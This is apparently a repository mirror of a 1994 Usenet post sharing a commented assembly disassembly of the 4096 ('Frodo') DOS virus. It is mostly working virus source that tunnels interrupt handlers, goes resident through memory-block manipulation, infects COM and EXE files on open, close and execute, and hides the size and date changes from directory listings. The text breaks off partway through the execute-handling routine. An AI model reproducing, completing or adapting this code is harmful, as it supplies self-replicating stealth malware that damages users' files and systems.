mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
1829 lines
84 KiB
NASM
1829 lines
84 KiB
NASM
|
From netcom.com!ix.netcom.com!howland.reston.ans.net!usc!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:49:56 1994
|
|||
|
|
Xref: netcom.com alt.comp.virus:485
|
|||
|
|
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!usc!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
|
|||
|
|
From: clair@myhost.subdomain.domain (The Clairvoyant)
|
|||
|
|
Newsgroups: alt.comp.virus
|
|||
|
|
Subject: Frodo source
|
|||
|
|
Date: 28 Nov 1994 07:47:20 GMT
|
|||
|
|
Organization: String to put in the Organization Header
|
|||
|
|
Lines: 1814
|
|||
|
|
Message-ID: <3bc1u8$mjc@gaia.ucs.orst.edu>
|
|||
|
|
NNTP-Posting-Host: tempest.rhn.orst.edu
|
|||
|
|
X-Newsreader: TIN [version 1.2 PL2]
|
|||
|
|
|
|||
|
|
|
|||
|
|
_4096 segment byte public
|
|||
|
|
assume cs:_4096, ds:_4096
|
|||
|
|
|
|||
|
|
; 4096 Virus
|
|||
|
|
; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
|
|||
|
|
; Assemble with TASM; the resultant file size is 4081 bytes
|
|||
|
|
|
|||
|
|
org 0
|
|||
|
|
startvirus:
|
|||
|
|
db 0
|
|||
|
|
jmp installvirus
|
|||
|
|
oldheader: ; original 1Ch bytes of the carrier file
|
|||
|
|
retn
|
|||
|
|
db 75h,02,44h,15h,46h,20h
|
|||
|
|
db 'Copyright Bourb%}i, I'
|
|||
|
|
endoldheader:
|
|||
|
|
EXEflag db 00h
|
|||
|
|
db 0FEh, 3Ah
|
|||
|
|
|
|||
|
|
int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
|
|||
|
|
push bp ; set up stack frame
|
|||
|
|
mov bp,sp
|
|||
|
|
push ax
|
|||
|
|
cmp word ptr [bp+4],0C000h ; in BIOS?
|
|||
|
|
jnb foundorigint ; nope, haven't found it
|
|||
|
|
mov ax,cs:DOSsegment ; in DOS?
|
|||
|
|
cmp [bp+4],ax
|
|||
|
|
jbe foundorigint
|
|||
|
|
exitint1:
|
|||
|
|
pop ax
|
|||
|
|
pop bp
|
|||
|
|
iret
|
|||
|
|
foundorigint:
|
|||
|
|
cmp byte ptr cs:tracemode,1
|
|||
|
|
jz tracemode1
|
|||
|
|
mov ax,[bp+4] ; save segment of entry point
|
|||
|
|
mov word ptr cs:origints+2,ax
|
|||
|
|
mov ax,[bp+2] ; save offset of entry point
|
|||
|
|
mov word ptr cs:origints,ax
|
|||
|
|
jb finishint1
|
|||
|
|
pop ax
|
|||
|
|
pop bp
|
|||
|
|
mov ss,cs:savess ; restore the stack to its
|
|||
|
|
mov sp,cs:savesp ; original state
|
|||
|
|
mov al,cs:saveIMR ; Restore IMR
|
|||
|
|
out 21h,al ; (enable interrupts)
|
|||
|
|
jmp setvirusints
|
|||
|
|
finishint1:
|
|||
|
|
and word ptr [bp+6],0FEFFh ; turn off trap flag
|
|||
|
|
mov al,cs:saveIMR ; and restore IMR
|
|||
|
|
out 21h,al
|
|||
|
|
jmp short exitint1
|
|||
|
|
tracemode1:
|
|||
|
|
dec byte ptr cs:instructionstotrace
|
|||
|
|
jnz exitint1
|
|||
|
|
and word ptr [bp+6],0FEFFh ; turn off trap flag
|
|||
|
|
call saveregs
|
|||
|
|
call swapvirint21 ; restore original int
|
|||
|
|
lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
|
|||
|
|
mov al,1
|
|||
|
|
call setvect
|
|||
|
|
call restoreregs
|
|||
|
|
jmp short finishint1
|
|||
|
|
|
|||
|
|
getint:
|
|||
|
|
push ds
|
|||
|
|
push si
|
|||
|
|
xor si,si ; clear si
|
|||
|
|
mov ds,si ; ds->interrupt table
|
|||
|
|
xor ah,ah ; cbw would be better!?
|
|||
|
|
mov si,ax
|
|||
|
|
shl si,1 ; convert int # to offset in
|
|||
|
|
shl si,1 ; interrupt table (int # x 4)
|
|||
|
|
mov bx,[si] ; es:bx = interrupt vector
|
|||
|
|
mov es,[si+2] ; get old interrupt vector
|
|||
|
|
; save 3 bytes if use les bx,[si]
|
|||
|
|
pop si
|
|||
|
|
pop ds
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
installvirus:
|
|||
|
|
mov word ptr cs:stackptr,offset topstack
|
|||
|
|
mov cs:initialax,ax ; save initial value for ax
|
|||
|
|
mov ah,30h ; Get DOS version
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov cs:DOSversion,al ; Save DOS version
|
|||
|
|
mov cs:carrierPSP,ds ; Save PSP segment
|
|||
|
|
mov ah,52h ; Get list of lists
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ax,es:[bx-2] ; segment of first MCB
|
|||
|
|
mov cs:DOSsegment,ax ; save it for use in int 1
|
|||
|
|
mov es,ax ; es = segment first MCB
|
|||
|
|
mov ax,es:[1] ; Get owner of first MCB
|
|||
|
|
mov cs:ownerfirstMCB,ax ; save it
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov al,1 ; get single step vector
|
|||
|
|
call getint
|
|||
|
|
mov word ptr ds:oldint1,bx ; save it for later
|
|||
|
|
mov word ptr ds:oldint1+2,es; restoration
|
|||
|
|
mov al,21h ; get int 21h vector
|
|||
|
|
call getint
|
|||
|
|
mov word ptr ds:origints,bx
|
|||
|
|
mov word ptr ds:origints+2,es
|
|||
|
|
mov byte ptr ds:tracemode,0 ; regular trace mode on
|
|||
|
|
mov dx,offset int1 ; set new int 1 handler
|
|||
|
|
mov al,1
|
|||
|
|
call setvect
|
|||
|
|
pushf
|
|||
|
|
pop ax
|
|||
|
|
or ax,100h ; turn on trap flag
|
|||
|
|
push ax
|
|||
|
|
in al,21h ; Get old IMR
|
|||
|
|
mov ds:saveIMR,al
|
|||
|
|
mov al,0FFh ; disable all interrupts
|
|||
|
|
out 21h,al
|
|||
|
|
popf
|
|||
|
|
mov ah,52h ; Get list of lists
|
|||
|
|
pushf ; (for tracing purposes)
|
|||
|
|
call dword ptr ds:origints ; perform the tunnelling
|
|||
|
|
pushf
|
|||
|
|
pop ax
|
|||
|
|
and ax,0FEFFh ; turn off trap flag
|
|||
|
|
push ax
|
|||
|
|
popf
|
|||
|
|
mov al,ds:saveIMR ; reenable interrupts
|
|||
|
|
out 21h,al
|
|||
|
|
push ds
|
|||
|
|
lds dx,dword ptr ds:oldint1
|
|||
|
|
mov al,1 ; restore int 1 to the
|
|||
|
|
call setvect ; original handler
|
|||
|
|
pop ds
|
|||
|
|
les di,dword ptr ds:origints; set up int 21h handlers
|
|||
|
|
mov word ptr ds:oldint21,di
|
|||
|
|
mov word ptr ds:oldint21+2,es
|
|||
|
|
mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
|
|||
|
|
mov word ptr ds:int21store,offset otherint21
|
|||
|
|
mov word ptr ds:int21store+2,cs
|
|||
|
|
call swapvirint21 ; activate virus in memory
|
|||
|
|
mov ax,4B00h
|
|||
|
|
mov ds:checkres,ah ; set resident flag to a
|
|||
|
|
; dummy value
|
|||
|
|
mov dx,offset EXEflag+1 ; save EXE flag
|
|||
|
|
push word ptr ds:EXEflag
|
|||
|
|
int 21h ; installation check
|
|||
|
|
; returns checkres=0 if
|
|||
|
|
; installed
|
|||
|
|
|
|||
|
|
pop word ptr ds:EXEflag ; restore EXE flag
|
|||
|
|
add word ptr es:[di-4],9
|
|||
|
|
nop ; !?
|
|||
|
|
mov es,ds:carrierPSP ; restore ES and DS to their
|
|||
|
|
mov ds,ds:carrierPSP ; original values
|
|||
|
|
sub word ptr ds:[2],(topstack/10h)+1
|
|||
|
|
; alter top of memory in PSP
|
|||
|
|
mov bp,ds:[2] ; get segment
|
|||
|
|
mov dx,ds
|
|||
|
|
sub bp,dx
|
|||
|
|
mov ah,4Ah ; Find total available memory
|
|||
|
|
mov bx,0FFFFh
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ah,4Ah ; Allocate all available memory
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
dec dx ; go to MCB of virus memory
|
|||
|
|
mov ds,dx
|
|||
|
|
cmp byte ptr ds:[0],'Z' ; is it the last block?
|
|||
|
|
je carrierislastMCB
|
|||
|
|
dec byte ptr cs:checkres ; mark need to install virus
|
|||
|
|
carrierislastMCB:
|
|||
|
|
cmp byte ptr cs:checkres,0 ; need to install?
|
|||
|
|
je playwithMCBs ; nope, go play with MCBs
|
|||
|
|
mov byte ptr ds:[0],'M' ; mark not end of chain
|
|||
|
|
playwithMCBs:
|
|||
|
|
mov ax,ds:[3] ; get memory size controlled
|
|||
|
|
mov bx,ax ; by the MCB
|
|||
|
|
sub ax,(topstack/10h)+1 ; calculate new size
|
|||
|
|
add dx,ax ; find high memory segment
|
|||
|
|
mov ds:[3],ax ; put new size in MCB
|
|||
|
|
inc dx ; one more for the MCB
|
|||
|
|
mov es,dx ; es->high memory MCB
|
|||
|
|
mov byte ptr es:[0],'Z' ; mark end of chain
|
|||
|
|
push word ptr cs:ownerfirstMCB ; get DOS PSP ID
|
|||
|
|
pop word ptr es:[1] ; make it the owner
|
|||
|
|
mov word ptr es:[3],160h ; fill in the size field
|
|||
|
|
inc dx
|
|||
|
|
mov es,dx ; es->high memory area
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov cx,(topstack/2) ; zopy 0-1600h to high memory
|
|||
|
|
mov si,offset topstack-2
|
|||
|
|
mov di,si
|
|||
|
|
std ; zopy backwards
|
|||
|
|
rep movsw
|
|||
|
|
cld
|
|||
|
|
push es ; set up stack for jmp into
|
|||
|
|
mov ax,offset highentry ; virus code in high memory
|
|||
|
|
push ax
|
|||
|
|
mov es,cs:carrierPSP ; save current PSP segment
|
|||
|
|
mov ah,4Ah ; Alter memory allocation
|
|||
|
|
mov bx,bp ; bx = paragraphs
|
|||
|
|
int 21h
|
|||
|
|
retf ; jmp to virus code in high
|
|||
|
|
highentry: ; memory
|
|||
|
|
call swapvirint21
|
|||
|
|
mov word ptr cs:int21store+2,cs
|
|||
|
|
call swapvirint21
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov byte ptr ds:handlesleft,14h ; reset free handles count
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
mov di,offset handletable
|
|||
|
|
mov cx,14h
|
|||
|
|
xor ax,ax ; clear handle table
|
|||
|
|
rep stosw
|
|||
|
|
mov ds:hideclustercountchange,al ; clear the flag
|
|||
|
|
mov ax,ds:carrierPSP
|
|||
|
|
mov es,ax ; es->PSP
|
|||
|
|
lds dx,dword ptr es:[0Ah] ; get terminate vector (why?)
|
|||
|
|
mov ds,ax ; ds->PSP
|
|||
|
|
add ax,10h ; adjust for PSP
|
|||
|
|
add word ptr cs:oldheader+16h,ax ; adjust jmp location
|
|||
|
|
cmp byte ptr cs:EXEflag,0 ; for PSP
|
|||
|
|
jne returntoEXE
|
|||
|
|
returntoCOM:
|
|||
|
|
sti
|
|||
|
|
mov ax,word ptr cs:oldheader; restore first 6 bytes of the
|
|||
|
|
mov ds:[100h],ax ; COM file
|
|||
|
|
mov ax,word ptr cs:oldheader+2
|
|||
|
|
mov ds:[102h],ax
|
|||
|
|
mov ax,word ptr cs:oldheader+4
|
|||
|
|
mov ds:[104h],ax
|
|||
|
|
push word ptr cs:carrierPSP ; Segment of carrier file's
|
|||
|
|
mov ax,100h ; PSP
|
|||
|
|
push ax
|
|||
|
|
mov ax,cs:initialax ; restore orig. value of ax
|
|||
|
|
retf ; return to original COM file
|
|||
|
|
|
|||
|
|
returntoEXE:
|
|||
|
|
add word ptr cs:oldheader+0eh,ax
|
|||
|
|
mov ax,cs:initialax ; Restore ax
|
|||
|
|
mov ss,word ptr cs:oldheader+0eh ; Restore stack to
|
|||
|
|
mov sp,word ptr cs:oldheader+10h ; original value
|
|||
|
|
sti
|
|||
|
|
jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP
|
|||
|
|
; entry point
|
|||
|
|
entervirus:
|
|||
|
|
cmp sp,100h ; COM file?
|
|||
|
|
ja dont_resetstack ; if so, skip this
|
|||
|
|
xor sp,sp ; new stack
|
|||
|
|
dont_resetstack:
|
|||
|
|
mov bp,ax
|
|||
|
|
call next ; calculate relativeness
|
|||
|
|
next:
|
|||
|
|
pop cx
|
|||
|
|
sub cx,offset next ; cx = delta offset
|
|||
|
|
mov ax,cs ; ax = segment
|
|||
|
|
mov bx,10h ; convert to offset
|
|||
|
|
mul bx
|
|||
|
|
add ax,cx
|
|||
|
|
adc dx,0
|
|||
|
|
div bx ; convert to seg:off
|
|||
|
|
push ax ; set up stack for jmp
|
|||
|
|
mov ax,offset installvirus ; to installvirus
|
|||
|
|
push ax
|
|||
|
|
mov ax,bp
|
|||
|
|
retf ; go to installvirus
|
|||
|
|
|
|||
|
|
int21commands:
|
|||
|
|
db 30h ; get DOS version
|
|||
|
|
dw offset getDOSversion
|
|||
|
|
db 23h ; FCB get file size
|
|||
|
|
dw offset FCBgetfilesize
|
|||
|
|
db 37h ; get device info
|
|||
|
|
dw offset get_device_info
|
|||
|
|
db 4Bh ; execute
|
|||
|
|
dw offset execute
|
|||
|
|
db 3Ch ; create file w/ handle
|
|||
|
|
dw offset createhandle
|
|||
|
|
db 3Dh ; open file
|
|||
|
|
dw offset openhandle
|
|||
|
|
db 3Eh ; close file
|
|||
|
|
dw offset handleclosefile
|
|||
|
|
db 0Fh ; FCB open file
|
|||
|
|
dw offset FCBopenfile
|
|||
|
|
db 14h ; sequential FCB read
|
|||
|
|
dw offset sequentialFCBread
|
|||
|
|
db 21h ; random FCB read
|
|||
|
|
dw offset randomFCBread
|
|||
|
|
db 27h ; random FCB block read
|
|||
|
|
dw offset randomFCBblockread
|
|||
|
|
db 11h ; FCB find first
|
|||
|
|
dw offset FCBfindfirstnext
|
|||
|
|
db 12h ; FCB find next
|
|||
|
|
dw offset FCBfindfirstnext
|
|||
|
|
db 4Eh ; filename find first
|
|||
|
|
dw offset filenamefindfirstnext
|
|||
|
|
db 4Fh ; filename find next
|
|||
|
|
dw offset filenamefindfirstnext
|
|||
|
|
db 3Fh ; read
|
|||
|
|
dw offset handleread
|
|||
|
|
db 40h ; write
|
|||
|
|
dw offset handlewrite
|
|||
|
|
db 42h ; move file pointer
|
|||
|
|
dw offset handlemovefilepointer
|
|||
|
|
db 57h ; get/set file time/date
|
|||
|
|
dw offset getsetfiletimedate
|
|||
|
|
db 48h ; allocate memory
|
|||
|
|
dw offset allocatememory
|
|||
|
|
endcommands:
|
|||
|
|
|
|||
|
|
otherint21:
|
|||
|
|
cmp ax,4B00h ; execute?
|
|||
|
|
jnz notexecute
|
|||
|
|
mov cs:checkres,al ; clear the resident flag
|
|||
|
|
notexecute:
|
|||
|
|
push bp ; set up stack frame
|
|||
|
|
mov bp,sp
|
|||
|
|
push [bp+6] ; push old flags
|
|||
|
|
pop cs:int21flags ; and put in variable
|
|||
|
|
pop bp ; why?
|
|||
|
|
push bp ; why?
|
|||
|
|
mov bp,sp ; set up new stack frame
|
|||
|
|
call saveregs
|
|||
|
|
call swapvirint21 ; reenable DOS int 21h handler
|
|||
|
|
call disableBREAK
|
|||
|
|
call restoreregs
|
|||
|
|
call _pushall
|
|||
|
|
push bx
|
|||
|
|
mov bx,offset int21commands ; bx->command table
|
|||
|
|
scanforcommand:
|
|||
|
|
cmp ah,cs:[bx] ; scan for the function
|
|||
|
|
jne findnextcommand ; code/subroutine combination
|
|||
|
|
mov bx,cs:[bx+1]
|
|||
|
|
xchg bx,[bp-14h]
|
|||
|
|
cld
|
|||
|
|
retn
|
|||
|
|
findnextcommand:
|
|||
|
|
add bx,3 ; go to next command
|
|||
|
|
cmp bx,offset endcommands ; in the table until
|
|||
|
|
jb scanforcommand ; there are no more
|
|||
|
|
pop bx
|
|||
|
|
exitotherint21:
|
|||
|
|
call restoreBREAK
|
|||
|
|
in al,21h ; save IMR
|
|||
|
|
mov cs:saveIMR,al
|
|||
|
|
mov al,0FFh ; disable all interrupts
|
|||
|
|
out 21h,al
|
|||
|
|
mov byte ptr cs:instructionstotrace,4 ; trace into
|
|||
|
|
mov byte ptr cs:tracemode,1 ; oldint21
|
|||
|
|
call replaceint1 ; set virus int 1 handler
|
|||
|
|
call _popall
|
|||
|
|
push ax
|
|||
|
|
mov ax,cs:int21flags ; get the flags
|
|||
|
|
or ax,100h ; turn on the trap flag
|
|||
|
|
push ax ; and set it in motion
|
|||
|
|
popf
|
|||
|
|
pop ax
|
|||
|
|
pop bp
|
|||
|
|
jmp dword ptr cs:oldint21 ; chain back to original int
|
|||
|
|
; 21h handler -- do not return
|
|||
|
|
|
|||
|
|
exitint21:
|
|||
|
|
call saveregs
|
|||
|
|
call restoreBREAK
|
|||
|
|
call swapvirint21
|
|||
|
|
call restoreregs
|
|||
|
|
pop bp
|
|||
|
|
push bp ; set up stack frame
|
|||
|
|
mov bp,sp
|
|||
|
|
push word ptr cs:int21flags ; get the flags and put
|
|||
|
|
pop word ptr [bp+6] ; them on the stack for
|
|||
|
|
pop bp ; the iret
|
|||
|
|
iret
|
|||
|
|
|
|||
|
|
FCBfindfirstnext:
|
|||
|
|
call _popall
|
|||
|
|
call callint21
|
|||
|
|
or al,al ; Found any files?
|
|||
|
|
jnz exitint21 ; guess not
|
|||
|
|
call _pushall
|
|||
|
|
call getdisktransferaddress
|
|||
|
|
mov al,0
|
|||
|
|
cmp byte ptr [bx],0FFh ; Extended FCB?
|
|||
|
|
jne findfirstnextnoextendedFCB
|
|||
|
|
mov al,[bx+6]
|
|||
|
|
add bx,7 ; convert to normal FCB
|
|||
|
|
findfirstnextnoextendedFCB:
|
|||
|
|
and cs:hide_size,al
|
|||
|
|
test byte ptr [bx+1Ah],80h ; check year bit for virus
|
|||
|
|
jz _popall_then_exitint21 ; infection tag. exit if so
|
|||
|
|
sub byte ptr [bx+1Ah],0C8h ; alter file date
|
|||
|
|
cmp byte ptr cs:hide_size,0
|
|||
|
|
jne _popall_then_exitint21
|
|||
|
|
sub word ptr [bx+1Dh],1000h ; hide file size
|
|||
|
|
sbb word ptr [bx+1Fh],0
|
|||
|
|
_popall_then_exitint21:
|
|||
|
|
call _popall
|
|||
|
|
jmp short exitint21
|
|||
|
|
|
|||
|
|
FCBopenfile:
|
|||
|
|
call _popall
|
|||
|
|
call callint21 ; chain to original int 21h
|
|||
|
|
call _pushall
|
|||
|
|
or al,al ; 0 = success
|
|||
|
|
jnz _popall_then_exitint21
|
|||
|
|
mov bx,dx
|
|||
|
|
test byte ptr [bx+15h],80h ; check if infected yet
|
|||
|
|
jz _popall_then_exitint21
|
|||
|
|
sub byte ptr [bx+15h],0C8h ; restore date
|
|||
|
|
sub word ptr [bx+10h],1000h ; and hide file size
|
|||
|
|
sbb byte ptr [bx+12h],0
|
|||
|
|
jmp short _popall_then_exitint21
|
|||
|
|
|
|||
|
|
randomFCBblockread:
|
|||
|
|
jcxz go_exitotherint21 ; reading any blocks?
|
|||
|
|
|
|||
|
|
randomFCBread:
|
|||
|
|
mov bx,dx
|
|||
|
|
mov si,[bx+21h] ; check if reading first
|
|||
|
|
or si,[bx+23h] ; bytes
|
|||
|
|
jnz go_exitotherint21
|
|||
|
|
jmp short continueFCBread
|
|||
|
|
|
|||
|
|
sequentialFCBread:
|
|||
|
|
mov bx,dx
|
|||
|
|
mov ax,[bx+0Ch] ; check if reading first
|
|||
|
|
or al,[bx+20h] ; bytes
|
|||
|
|
jnz go_exitotherint21
|
|||
|
|
continueFCBread:
|
|||
|
|
call checkFCBokinfect
|
|||
|
|
jnc continuecontinueFCBread
|
|||
|
|
go_exitotherint21:
|
|||
|
|
jmp exitotherint21
|
|||
|
|
continuecontinueFCBread:
|
|||
|
|
call _popall
|
|||
|
|
call _pushall
|
|||
|
|
call callint21 ; chain to original handler
|
|||
|
|
mov [bp-4],ax ; set the return codes
|
|||
|
|
mov [bp-8],cx ; properly
|
|||
|
|
push ds ; save FCB pointer
|
|||
|
|
push dx
|
|||
|
|
call getdisktransferaddress
|
|||
|
|
cmp word ptr [bx+14h],1 ; check for EXE infection
|
|||
|
|
je FCBreadinfectedfile ; (IP = 1)
|
|||
|
|
mov ax,[bx] ; check for COM infection
|
|||
|
|
add ax,[bx+2] ; (checksum = 0)
|
|||
|
|
add ax,[bx+4]
|
|||
|
|
jz FCBreadinfectedfile
|
|||
|
|
add sp,4 ; no infection, no stealth
|
|||
|
|
jmp short _popall_then_exitint21 ; needed
|
|||
|
|
FCBreadinfectedfile:
|
|||
|
|
pop dx ; restore address of the FCB
|
|||
|
|
pop ds
|
|||
|
|
mov si,dx
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
mov di,offset tempFCB ; copy FCB to temporary one
|
|||
|
|
mov cx,25h
|
|||
|
|
rep movsb
|
|||
|
|
mov di,offset tempFCB
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov ax,[di+10h] ; get old file size
|
|||
|
|
mov dx,[di+12h]
|
|||
|
|
add ax,100Fh ; increase by virus size
|
|||
|
|
adc dx,0 ; and round to the nearest
|
|||
|
|
and ax,0FFF0h ; paragraph
|
|||
|
|
mov [di+10h],ax ; insert new file size
|
|||
|
|
mov [di+12h],dx
|
|||
|
|
sub ax,0FFCh
|
|||
|
|
sbb dx,0
|
|||
|
|
mov [di+21h],ax ; set new random record #
|
|||
|
|
mov [di+23h],dx
|
|||
|
|
mov word ptr [di+0Eh],1 ; record size = 1
|
|||
|
|
mov cx,1Ch
|
|||
|
|
mov dx,di
|
|||
|
|
mov ah,27h ; random block read 1Ch bytes
|
|||
|
|
call callint21
|
|||
|
|
jmp _popall_then_exitint21
|
|||
|
|
|
|||
|
|
FCBgetfilesize:
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
mov si,dx
|
|||
|
|
mov di,offset tempFCB ; copy FCB to temp buffer
|
|||
|
|
mov cx,0025h
|
|||
|
|
repz movsb
|
|||
|
|
push ds
|
|||
|
|
push dx
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov dx,offset tempFCB
|
|||
|
|
mov ah,0Fh ; FCB open file
|
|||
|
|
call callint21
|
|||
|
|
mov ah,10h ; FCB close file
|
|||
|
|
call callint21
|
|||
|
|
test byte ptr [tempFCB+15h],80h ; check date bit
|
|||
|
|
pop si
|
|||
|
|
pop ds
|
|||
|
|
jz will_exitotherint21 ; exit if not infected
|
|||
|
|
les bx,dword ptr cs:[tempFCB+10h] ; get filesize
|
|||
|
|
mov ax,es
|
|||
|
|
sub bx,1000h ; hide increase
|
|||
|
|
sbb ax,0
|
|||
|
|
xor dx,dx
|
|||
|
|
mov cx,word ptr cs:[tempFCB+0eh] ; get record size
|
|||
|
|
dec cx
|
|||
|
|
add bx,cx
|
|||
|
|
adc ax,0
|
|||
|
|
inc cx
|
|||
|
|
div cx
|
|||
|
|
mov [si+23h],ax ; fix random access record #
|
|||
|
|
xchg dx,ax
|
|||
|
|
xchg bx,ax
|
|||
|
|
div cx
|
|||
|
|
mov [si+21h],ax ; fix random access record #
|
|||
|
|
jmp _popall_then_exitint21
|
|||
|
|
|
|||
|
|
filenamefindfirstnext:
|
|||
|
|
and word ptr cs:int21flags,-2 ; turn off trap flag
|
|||
|
|
call _popall
|
|||
|
|
call callint21
|
|||
|
|
call _pushall
|
|||
|
|
jnb filenamefffnOK ; continue if a file is found
|
|||
|
|
or word ptr cs:int21flags,1
|
|||
|
|
jmp _popall_then_exitint21
|
|||
|
|
|
|||
|
|
filenamefffnOK:
|
|||
|
|
call getdisktransferaddress
|
|||
|
|
test byte ptr [bx+19h],80h ; Check high bit of date
|
|||
|
|
jnz filenamefffnfileinfected; Bit set if infected
|
|||
|
|
jmp _popall_then_exitint21
|
|||
|
|
filenamefffnfileinfected:
|
|||
|
|
sub word ptr [bx+1Ah],1000h ; hide file length increase
|
|||
|
|
sbb word ptr [bx+1Ch],0
|
|||
|
|
sub byte ptr [bx+19h],0C8h ; and date change
|
|||
|
|
jmp _popall_then_exitint21
|
|||
|
|
|
|||
|
|
createhandle:
|
|||
|
|
push cx
|
|||
|
|
and cx,7 ; mask the attributes
|
|||
|
|
cmp cx,7 ; r/o, hidden, & system?
|
|||
|
|
je exit_create_handle
|
|||
|
|
pop cx
|
|||
|
|
call replaceint13and24
|
|||
|
|
call callint21 ; chain to original int 21h
|
|||
|
|
call restoreint13and24
|
|||
|
|
pushf
|
|||
|
|
cmp byte ptr cs:errorflag,0 ; check if any errors yet
|
|||
|
|
je no_errors_createhandle
|
|||
|
|
popf
|
|||
|
|
will_exitotherint21:
|
|||
|
|
jmp exitotherint21
|
|||
|
|
no_errors_createhandle:
|
|||
|
|
popf
|
|||
|
|
jc other_error_createhandle; exit on error
|
|||
|
|
mov bx,ax ; move handle to bx
|
|||
|
|
mov ah,3Eh ; Close file
|
|||
|
|
call callint21
|
|||
|
|
jmp short openhandle
|
|||
|
|
other_error_createhandle:
|
|||
|
|
or byte ptr cs:int21flags,1; turn on the trap flag
|
|||
|
|
mov [bp-4],ax ; set the return code properly
|
|||
|
|
jmp _popall_then_exitint21
|
|||
|
|
exit_create_handle:
|
|||
|
|
pop cx
|
|||
|
|
jmp exitotherint21
|
|||
|
|
|
|||
|
|
openhandle:
|
|||
|
|
call getcurrentPSP
|
|||
|
|
call checkdsdxokinfect
|
|||
|
|
jc jmp_exitotherint21
|
|||
|
|
cmp byte ptr cs:handlesleft,0 ; make sure there is a free
|
|||
|
|
je jmp_exitotherint21 ; entry in the table
|
|||
|
|
call setup_infection ; open the file
|
|||
|
|
cmp bx,0FFFFh ; error?
|
|||
|
|
je jmp_exitotherint21 ; if so, exit
|
|||
|
|
dec byte ptr cs:handlesleft
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
mov di,offset handletable
|
|||
|
|
mov cx,14h
|
|||
|
|
xor ax,ax ; find end of the table
|
|||
|
|
repne scasw
|
|||
|
|
mov ax,cs:currentPSP ; put the PSP value and the
|
|||
|
|
mov es:[di-2],ax ; handle # in the table
|
|||
|
|
mov es:[di+26h],bx
|
|||
|
|
mov [bp-4],bx ; put handle # in return code
|
|||
|
|
handleopenclose_exit:
|
|||
|
|
and byte ptr cs:int21flags,0FEh ; turn off the trap flag
|
|||
|
|
jmp _popall_then_exitint21
|
|||
|
|
jmp_exitotherint21:
|
|||
|
|
jmp exitotherint21
|
|||
|
|
|
|||
|
|
handleclosefile:
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
call getcurrentPSP
|
|||
|
|
mov di,offset handletable
|
|||
|
|
mov cx,14h ; 14h entries max
|
|||
|
|
mov ax,cs:currentPSP ; search for calling PSP
|
|||
|
|
scanhandle_close:
|
|||
|
|
repne scasw
|
|||
|
|
jnz handlenotfound ; handle not trapped
|
|||
|
|
cmp bx,es:[di+26h] ; does the handle correspond?
|
|||
|
|
jne scanhandle_close ; if not, find another handle
|
|||
|
|
mov word ptr es:[di-2],0 ; otherwise, clear handle
|
|||
|
|
call infect_file
|
|||
|
|
inc byte ptr cs:handlesleft ; fix handles left counter
|
|||
|
|
jmp short handleopenclose_exit ; and exit
|
|||
|
|
handlenotfound:
|
|||
|
|
jmp exitotherint21
|
|||
|
|
|
|||
|
|
getdisktransferaddress:
|
|||
|
|
push es
|
|||
|
|
mov ah,2Fh ; Get disk transfer address
|
|||
|
|
call callint21 ; to es:bx
|
|||
|
|
push es
|
|||
|
|
pop ds ; mov to ds:bx
|
|||
|
|
pop es
|
|||
|
|
retn
|
|||
|
|
execute:
|
|||
|
|
or al,al ; load and execute?
|
|||
|
|
jz loadexecute ; yepper!
|
|||
|
|
jmp checkloadnoexecute ; otherwise check if
|
|||
|
|
; load/no execute
|
|||
|
|
loadexecute:
|
|||
|
|
push ds ; save filename
|
|||
|
|
push dx
|
|||
|
|
mov word ptr cs:parmblock,bx; save parameter block and
|
|||
|
|
mov word ptr cs:parmblock+2,es; move to ds:si
|
|||
|
|
lds si,dword ptr cs:parmblock
|
|||
|
|
mov di,offset copyparmblock ; copy the parameter block
|
|||
|
|
mov cx,0Eh
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
rep movsb
|
|||
|
|
pop si ; copy the filename
|
|||
|
|
pop ds ; to the buffer
|
|||
|
|
mov di,offset copyfilename
|
|||
|
|
mov cx,50h
|
|||
|
|
rep movsb
|
|||
|
|
mov bx,0FFFFh
|
|||
|
|
call allocate_memory ; allocate available memory
|
|||
|
|
call _popall
|
|||
|
|
pop bp ; save the parameters
|
|||
|
|
pop word ptr cs:saveoffset ; on the stack
|
|||
|
|
pop word ptr cs:savesegment
|
|||
|
|
pop word ptr cs:int21flags
|
|||
|
|
mov ax,4B01h ; load/no execute
|
|||
|
|
push cs ; ds:dx -> file name
|
|||
|
|
pop es ; es:bx -> parameter block
|
|||
|
|
mov bx,offset copyparmblock
|
|||
|
|
pushf ; perform interrupt 21h
|
|||
|
|
call dword ptr cs:oldint21
|
|||
|
|
jnc continue_loadexecute ; continue if no error
|
|||
|
|
or word ptr cs:int21flags,1; turn on trap flag
|
|||
|
|
push word ptr cs:int21flags ; if error
|
|||
|
|
push word ptr cs:savesegment ; restore stack
|
|||
|
|
push word ptr cs:saveoffset
|
|||
|
|
push bp ; restore the stack frame
|
|||
|
|
mov bp,sp ; and restore ES:BX to
|
|||
|
|
